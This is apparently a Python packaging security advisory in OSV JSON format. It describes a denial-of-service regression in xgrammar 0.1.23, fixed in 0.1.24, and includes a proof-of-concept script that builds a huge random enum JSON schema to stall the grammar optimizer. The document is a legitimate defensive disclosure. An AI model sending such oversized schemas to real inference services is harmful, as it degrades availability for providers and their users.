{"id":"PYSEC-2026-2055","summary":"xgrammar vulnerable to denial of service by huge enum grammar","details":"### Summary\nProvided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser.\n\n### Details\n\nFull reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.\n\n### Patch\n\nThis problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (\u003e100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars. \n\nThanks to @Seven-Streams \n\n### PoC\n```\nimport string\nimport random\n\ndef enum_schema(size=10000,str_len=10):\n    enum =  {\"enum\": [\"\".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]}\n    schema = {\n        \"definitions\": {\n            \"colorEnum\": enum\n        },\n        \"type\": \"object\",\n        \"properties\": {\n            \"color1\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color2\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color3\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color4\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color5\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color6\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color7\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color8\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            }\n        },\n        \"required\": [\n                \"color1\",\n                \"color2\"\n         ]\n    }\n    return schema\n\nschema_enum = enum_schema()\nprint(schema_enum)\nprint(test_schema(schema_enum, {}))\n```\n\nwhere:\n```\ndef test_schema(schema, instance):\n    grammar = xgr.Grammar.from_json_schema(\n        json.dumps(schema),\n        strict_mode=True\n    )\n    return _is_grammar_accept_string(grammar, json.dumps(instance))\n```\n\n### Impact\nDOS","aliases":["CVE-2025-58446","GHSA-9q5r-wfvf-rr7f"],"modified":"2026-07-07T17:48:17.628474247Z","published":"2026-07-07T16:03:03.526730Z","references":[{"type":"WEB","url":"https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-9q5r-wfvf-rr7f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-58446"},{"type":"WEB","url":"https://github.com/mlc-ai/xgrammar/commit/ced69c3ad2f8f61b516cc278a342e7c644383e27"},{"type":"PACKAGE","url":"https://github.com/mlc-ai/xgrammar"},{"type":"PACKAGE","url":"https://pypi.org/project/xgrammar"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9q5r-wfvf-rr7f"}],"affected":[{"package":{"name":"xgrammar","ecosystem":"PyPI","purl":"pkg:pypi/xgrammar"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.23"},{"fixed":"0.1.24"}]}],"versions":["0.1.23"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/xgrammar/PYSEC-2026-2055.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}]}